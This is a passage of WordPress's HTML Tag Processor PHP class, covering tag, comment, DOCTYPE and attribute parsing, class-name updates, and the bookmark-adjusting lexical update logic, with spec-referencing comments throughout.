			 * proceed scanning to the next potential token in the text.
			 */
			if ( ! (
				( 's' === $html[ $at ] || 'S' === $html[ $at ] ) &&
				( 'c' === $html[ $at + 1 ] || 'C' === $html[ $at + 1 ] ) &&
				( 'r' === $html[ $at + 2 ] || 'R' === $html[ $at + 2 ] ) &&
				( 'i' === $html[ $at + 3 ] || 'I' === $html[ $at + 3 ] ) &&
				( 'p' === $html[ $at + 4 ] || 'P' === $html[ $at + 4 ] ) &&
				( 't' === $html[ $at + 5 ] || 'T' === $html[ $at + 5 ] )
			) ) {
				++$at;
				continue;
			}

			/*
			 * Ensure that the script tag terminates to avoid matching on
			 * substrings of a non-match. For example, the sequence
			 * "<script123" should not end a script region even though
			 * "<script" is found within the text.
			 */
			$at += 6;
			$c   = $html[ $at ];
			if (
				/**
				 * These characters trigger state transitions of interest:
				 *
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-escaped-end-tag-name-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-start-state}
				 * - @see {https://html.spec.whatwg.org/multipage/parsing.html#script-data-double-escape-end-state}
				 *
				 * The "\r" character is not present in the above references. However, "\r" must be
				 * treated the same as "\n". This is because the HTML Standard requires newline
				 * normalization during preprocessing which applies this replacement.
				 *
				 * - @see https://html.spec.whatwg.org/multipage/parsing.html#preprocessing-the-input-stream
				 * - @see https://infra.spec.whatwg.org/#normalize-newlines
				 */
				'>' !== $c &&
				' ' !== $c &&
				"\n" !== $c &&
				'/' !== $c &&
				"\t" !== $c &&
				"\f" !== $c &&
				"\r" !== $c
			) {
				continue;
			}

			if ( 'escaped' === $state && ! $is_closing ) {
				$state = 'double-escaped';
				continue;
			}

			if ( 'double-escaped' === $state && $is_closing ) {
				$state = 'escaped';
				continue;
			}

			if ( $is_closing ) {
				$this->bytes_already_parsed = $closer_potentially_starts_at;
				$this->tag_name_starts_at   = $closer_potentially_starts_at;
				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				while ( $this->parse_next_attribute() ) {
					continue;
				}

				if ( $this->bytes_already_parsed >= $doc_length ) {
					return false;
				}

				if ( '>' === $html[ $this->bytes_already_parsed ] ) {
					++$this->bytes_already_parsed;
					return true;
				}
			}

			++$at;
		}

		return false;
	}

	/**
	 * Parses the next tag.
	 *
	 * This will find and start parsing the next tag, including
	 * the opening `<`, the potential closer `/`, and the tag
	 * name. It does not parse the attributes or scan to the
	 * closing `>`; these are left for other methods.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Support abruptly-closed comments, invalid-tag-closer-comments, and empty elements.
	 *
	 * @return bool Whether a tag was found before the end of the document.
	 */
	private function parse_next_tag(): bool {
		$this->after_tag();

		$html       = $this->html;
		$doc_length = strlen( $html );
		$was_at     = $this->bytes_already_parsed;
		$at         = $was_at;

		while ( $at < $doc_length ) {
			$at = strpos( $html, '<', $at );
			if ( false === $at ) {
				break;
			}

			if ( $at > $was_at ) {
				/*
				 * A "<" normally starts a new HTML tag or syntax token, but in cases where the
				 * following character can't produce a valid token, the "<" is instead treated
				 * as plaintext and the parser should skip over it. This avoids a problem when
				 * following earlier practices of typing emoji with text, e.g. "<3". This
				 * should be a heart, not a tag. It's supposed to be rendered, not hidden.
				 *
				 * At this point the parser checks if this is one of those cases and if it is
				 * will continue searching for the next "<" in search of a token boundary.
				 *
				 * @see https://html.spec.whatwg.org/#tag-open-state
				 */
				if ( 1 !== strspn( $html, '!/?abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1, 1 ) ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_TEXT_NODE;
				$this->token_starts_at      = $was_at;
				$this->token_length         = $at - $was_at;
				$this->text_starts_at       = $was_at;
				$this->text_length          = $this->token_length;
				$this->bytes_already_parsed = $at;
				return true;
			}

			$this->token_starts_at = $at;

			if ( $at + 1 < $doc_length && '/' === $this->html[ $at + 1 ] ) {
				$this->is_closing_tag = true;
				++$at;
			} else {
				$this->is_closing_tag = false;
			}

			/*
			 * HTML tag names must start with [a-zA-Z] otherwise they are not tags.
			 * For example, "<3" is rendered as text, not a tag opener. If at least
			 * one letter follows the "<" then _it is_ a tag, but if the following
			 * character is anything else it _is not a tag_.
			 *
			 * It's not uncommon to find non-tags starting with `<` in an HTML
			 * document, so it's good for performance to make this pre-check before
			 * continuing to attempt to parse a tag name.
			 *
			 * Reference:
			 * * https://html.spec.whatwg.org/multipage/parsing.html#data-state
			 * * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			$tag_name_prefix_length = strspn( $html, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', $at + 1 );
			if ( $tag_name_prefix_length > 0 ) {
				++$at;
				$this->parser_state         = self::STATE_MATCHED_TAG;
				$this->tag_name_starts_at   = $at;
				$this->tag_name_length      = $tag_name_prefix_length + strcspn( $html, " \t\f\r\n/>", $at + $tag_name_prefix_length );
				$this->bytes_already_parsed = $at + $this->tag_name_length;
				return true;
			}

			/*
			 * Abort if no tag is found before the end of
			 * the document. There is nothing left to parse.
			 */
			if ( $at + 1 >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			/*
			 * `<!` transitions to markup declaration open state
			 * https://html.spec.whatwg.org/multipage/parsing.html#markup-declaration-open-state
			 */
			if ( ! $this->is_closing_tag && '!' === $html[ $at + 1 ] ) {
				/*
				 * `<!--` transitions to a comment state – apply further comment rules.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if ( 0 === substr_compare( $html, '--', $at + 2, 2 ) ) {
					$closer_at = $at + 4;
					// If it's not possible to close the comment then there is nothing more to scan.
					if ( $doc_length <= $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					// Abruptly-closed empty comments are a sequence of dashes followed by `>`.
					$span_of_dashes = strspn( $html, '-', $closer_at );
					if ( '>' === $html[ $closer_at + $span_of_dashes ] ) {
						/*
						 * @todo When implementing `set_modifiable_text()` ensure that updates to this token
						 *       don't break the syntax for short comments, e.g. `<!--->`. Unlike other comment
						 *       and bogus comment syntax, these leave no clear insertion point for text and
						 *       they need to be modified specially in order to contain text. E.g. to store
						 *       `?` as the modifiable text, the `<!--->` needs to become `<!--?-->`, which
						 *       involves inserting an additional `-` into the token after the modifiable text.
						 */
						$this->parser_state = self::STATE_COMMENT;
						$this->comment_type = self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT;
						$this->token_length = $closer_at + $span_of_dashes + 1 - $this->token_starts_at;

						// Only provide modifiable text if the token is long enough to contain it.
						if ( $span_of_dashes >= 2 ) {
							$this->comment_type   = self::COMMENT_AS_HTML_COMMENT;
							$this->text_starts_at = $this->token_starts_at + 4;
							$this->text_length    = $span_of_dashes - 2;
						}

						$this->bytes_already_parsed = $closer_at + $span_of_dashes + 1;
						return true;
					}

					/*
					 * Comments may be closed by either a --> or an invalid --!>.
					 * The first occurrence closes the comment.
					 *
					 * See https://html.spec.whatwg.org/#parse-error-incorrectly-closed-comment
					 */
					--$closer_at; // Pre-increment inside condition below reduces risk of accidental infinite looping.
					while ( ++$closer_at < $doc_length ) {
						$closer_at = strpos( $html, '--', $closer_at );
						if ( false === $closer_at ) {
							$this->parser_state = self::STATE_INCOMPLETE_INPUT;

							return false;
						}

						if ( $closer_at + 2 < $doc_length && '>' === $html[ $closer_at + 2 ] ) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 3 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 3;
							return true;
						}

						if (
							$closer_at + 3 < $doc_length &&
							'!' === $html[ $closer_at + 2 ] &&
							'>' === $html[ $closer_at + 3 ]
						) {
							$this->parser_state         = self::STATE_COMMENT;
							$this->comment_type         = self::COMMENT_AS_HTML_COMMENT;
							$this->token_length         = $closer_at + 4 - $this->token_starts_at;
							$this->text_starts_at       = $this->token_starts_at + 4;
							$this->text_length          = $closer_at - $this->text_starts_at;
							$this->bytes_already_parsed = $closer_at + 4;
							return true;
						}
					}
				}

				/*
				 * `<!DOCTYPE` transitions to DOCTYPE state – skip to the nearest >
				 * These are ASCII-case-insensitive.
				 * https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
				 */
				if (
					$doc_length > $at + 8 &&
					( 'D' === $html[ $at + 2 ] || 'd' === $html[ $at + 2 ] ) &&
					( 'O' === $html[ $at + 3 ] || 'o' === $html[ $at + 3 ] ) &&
					( 'C' === $html[ $at + 4 ] || 'c' === $html[ $at + 4 ] ) &&
					( 'T' === $html[ $at + 5 ] || 't' === $html[ $at + 5 ] ) &&
					( 'Y' === $html[ $at + 6 ] || 'y' === $html[ $at + 6 ] ) &&
					( 'P' === $html[ $at + 7 ] || 'p' === $html[ $at + 7 ] ) &&
					( 'E' === $html[ $at + 8 ] || 'e' === $html[ $at + 8 ] )
				) {
					$closer_at = strpos( $html, '>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_DOCTYPE;
					$this->token_length         = $closer_at + 1 - $this->token_starts_at;
					$this->text_starts_at       = $this->token_starts_at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->bytes_already_parsed = $closer_at + 1;
					return true;
				}

				if (
					'html' !== $this->parsing_namespace &&
					strlen( $html ) > $at + 8 &&
					'[' === $html[ $at + 2 ] &&
					'C' === $html[ $at + 3 ] &&
					'D' === $html[ $at + 4 ] &&
					'A' === $html[ $at + 5 ] &&
					'T' === $html[ $at + 6 ] &&
					'A' === $html[ $at + 7 ] &&
					'[' === $html[ $at + 8 ]
				) {
					$closer_at = strpos( $html, ']]>', $at + 9 );
					if ( false === $closer_at ) {
						$this->parser_state = self::STATE_INCOMPLETE_INPUT;

						return false;
					}

					$this->parser_state         = self::STATE_CDATA_NODE;
					$this->text_starts_at       = $at + 9;
					$this->text_length          = $closer_at - $this->text_starts_at;
					$this->token_length         = $closer_at + 3 - $this->token_starts_at;
					$this->bytes_already_parsed = $closer_at + 3;
					return true;
				}

				/*
				 * Anything else here is an incorrectly-opened comment and transitions
				 * to the bogus comment state - skip to the nearest >. If no closer is
				 * found then the HTML was truncated inside the markup declaration.
				 */
				$closer_at = strpos( $html, '>', $at + 1 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify nodes that would be CDATA if HTML had CDATA sections.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `]]>` as would be required in an XML document. It
				 * is therefore not possible to parse a CDATA section containing
				 * a `>` in the HTML syntax.
				 *
				 * Inside foreign elements there is a discrepancy between browsers
				 * and the specification on this.
				 *
				 * @todo Track whether the Tag Processor is inside a foreign element
				 *       and require the proper closing `]]>` in those cases.
				 */
				if (
					$this->token_length >= 10 &&
					'[' === $html[ $this->token_starts_at + 2 ] &&
					'C' === $html[ $this->token_starts_at + 3 ] &&
					'D' === $html[ $this->token_starts_at + 4 ] &&
					'A' === $html[ $this->token_starts_at + 5 ] &&
					'T' === $html[ $this->token_starts_at + 6 ] &&
					'A' === $html[ $this->token_starts_at + 7 ] &&
					'[' === $html[ $this->token_starts_at + 8 ] &&
					']' === $html[ $closer_at - 1 ] &&
					']' === $html[ $closer_at - 2 ]
				) {
					$this->parser_state    = self::STATE_COMMENT;
					$this->comment_type    = self::COMMENT_AS_CDATA_LOOKALIKE;
					$this->text_starts_at += 7;
					$this->text_length    -= 9;
				}

				return true;
			}

			/*
			 * </> is a missing end tag name, which is ignored.
			 *
			 * This was also known as the "presumptuous empty tag"
			 * in early discussions as it was proposed to close
			 * the nearest previous opening tag.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-missing-end-tag-name
			 */
			if ( '>' === $html[ $at + 1 ] ) {
				// `<>` is interpreted as plaintext.
				if ( ! $this->is_closing_tag ) {
					++$at;
					continue;
				}

				$this->parser_state         = self::STATE_PRESUMPTUOUS_TAG;
				$this->token_length         = $at + 2 - $this->token_starts_at;
				$this->bytes_already_parsed = $at + 2;
				return true;
			}

			/*
			 * `<?` transitions to a bogus comment state – skip to the nearest >
			 * See https://html.spec.whatwg.org/multipage/parsing.html#tag-open-state
			 */
			if ( ! $this->is_closing_tag && '?' === $html[ $at + 1 ] ) {
				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_COMMENT;
				$this->comment_type         = self::COMMENT_AS_INVALID_HTML;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;

				/*
				 * Identify a Processing Instruction node were HTML to have them.
				 *
				 * This section must occur after identifying the bogus comment end
				 * because in an HTML parser it will span to the nearest `>`, even
				 * if there's no `?>` as would be required in an XML document. It
				 * is therefore not possible to parse a Processing Instruction node
				 * containing a `>` in the HTML syntax.
				 *
				 * XML allows for more target names, but this code only identifies
				 * those with ASCII-representable target names. This means that it
				 * may identify some Processing Instruction nodes as bogus comments,
				 * but it will not misinterpret the HTML structure. By limiting the
				 * identification to these target names the Tag Processor can avoid
				 * the need to start parsing UTF-8 sequences.
				 *
				 * > NameStartChar ::= ":" | [A-Z] | "_" | [a-z] | [#xC0-#xD6] | [#xD8-#xF6] | [#xF8-#x2FF] |
				 *                     [#x370-#x37D] | [#x37F-#x1FFF] | [#x200C-#x200D] | [#x2070-#x218F] |
				 *                     [#x2C00-#x2FEF] | [#x3001-#xD7FF] | [#xF900-#xFDCF] | [#xFDF0-#xFFFD] |
				 *                     [#x10000-#xEFFFF]
				 * > NameChar      ::= NameStartChar | "-" | "." | [0-9] | #xB7 | [#x0300-#x036F] | [#x203F-#x2040]
				 *
				 * @todo Processing instruction nodes in SGML may contain any kind of markup. XML defines a
				 *       special case with `<?xml ... ?>` syntax, but the `?` is part of the bogus comment.
				 *
				 * @see https://www.w3.org/TR/2006/REC-xml11-20060816/#NT-PITarget
				 */
				if ( $this->token_length >= 5 && '?' === $html[ $closer_at - 1 ] ) {
					$comment_text     = substr( $html, $this->token_starts_at + 2, $this->token_length - 4 );
					$pi_target_length = strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ:_' );

					if ( 0 < $pi_target_length ) {
						$pi_target_length += strspn( $comment_text, 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789:_-.', $pi_target_length );

						$this->comment_type       = self::COMMENT_AS_PI_NODE_LOOKALIKE;
						$this->tag_name_starts_at = $this->token_starts_at + 2;
						$this->tag_name_length    = $pi_target_length;
						$this->text_starts_at    += $pi_target_length;
						$this->text_length       -= $pi_target_length + 1;
					}
				}

				return true;
			}

			/*
			 * If a non-alpha starts the tag name in a tag closer it's a comment.
			 * Find the first `>`, which closes the comment.
			 *
			 * This parser classifies these particular comments as special "funky comments"
			 * which are made available for further processing.
			 *
			 * See https://html.spec.whatwg.org/#parse-error-invalid-first-character-of-tag-name
			 */
			if ( $this->is_closing_tag ) {
				// No chance of finding a closer.
				if ( $at + 3 > $doc_length ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$closer_at = strpos( $html, '>', $at + 2 );
				if ( false === $closer_at ) {
					$this->parser_state = self::STATE_INCOMPLETE_INPUT;

					return false;
				}

				$this->parser_state         = self::STATE_FUNKY_COMMENT;
				$this->token_length         = $closer_at + 1 - $this->token_starts_at;
				$this->text_starts_at       = $this->token_starts_at + 2;
				$this->text_length          = $closer_at - $this->text_starts_at;
				$this->bytes_already_parsed = $closer_at + 1;
				return true;
			}

			++$at;
		}

		/*
		 * This does not imply an incomplete parse; it indicates that there
		 * can be nothing left in the document other than a #text node.
		 */
		$this->parser_state         = self::STATE_TEXT_NODE;
		$this->token_starts_at      = $was_at;
		$this->token_length         = $doc_length - $was_at;
		$this->text_starts_at       = $was_at;
		$this->text_length          = $this->token_length;
		$this->bytes_already_parsed = $doc_length;
		return true;
	}

	/**
	 * Parses the next attribute.
	 *
	 * @since 6.2.0
	 *
	 * @return bool Whether an attribute was found before the end of the document.
	 */
	private function parse_next_attribute(): bool {
		$doc_length = strlen( $this->html );

		// Skip whitespace and slashes.
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n/", $this->bytes_already_parsed );
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		/*
		 * Treat the equal sign as a part of the attribute
		 * name if it is the first encountered byte.
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#before-attribute-name-state
		 */
		$name_length = '=' === $this->html[ $this->bytes_already_parsed ]
			? 1 + strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed + 1 )
			: strcspn( $this->html, "=/> \t\f\r\n", $this->bytes_already_parsed );

		// No attribute, just tag closer.
		if ( 0 === $name_length || $this->bytes_already_parsed + $name_length >= $doc_length ) {
			return false;
		}

		$attribute_start             = $this->bytes_already_parsed;
		$attribute_name              = substr( $this->html, $attribute_start, $name_length );
		$this->bytes_already_parsed += $name_length;
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$this->skip_whitespace();
		if ( $this->bytes_already_parsed >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		$has_value = '=' === $this->html[ $this->bytes_already_parsed ];
		if ( $has_value ) {
			++$this->bytes_already_parsed;
			$this->skip_whitespace();
			if ( $this->bytes_already_parsed >= $doc_length ) {
				$this->parser_state = self::STATE_INCOMPLETE_INPUT;

				return false;
			}

			switch ( $this->html[ $this->bytes_already_parsed ] ) {
				case "'":
				case '"':
					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
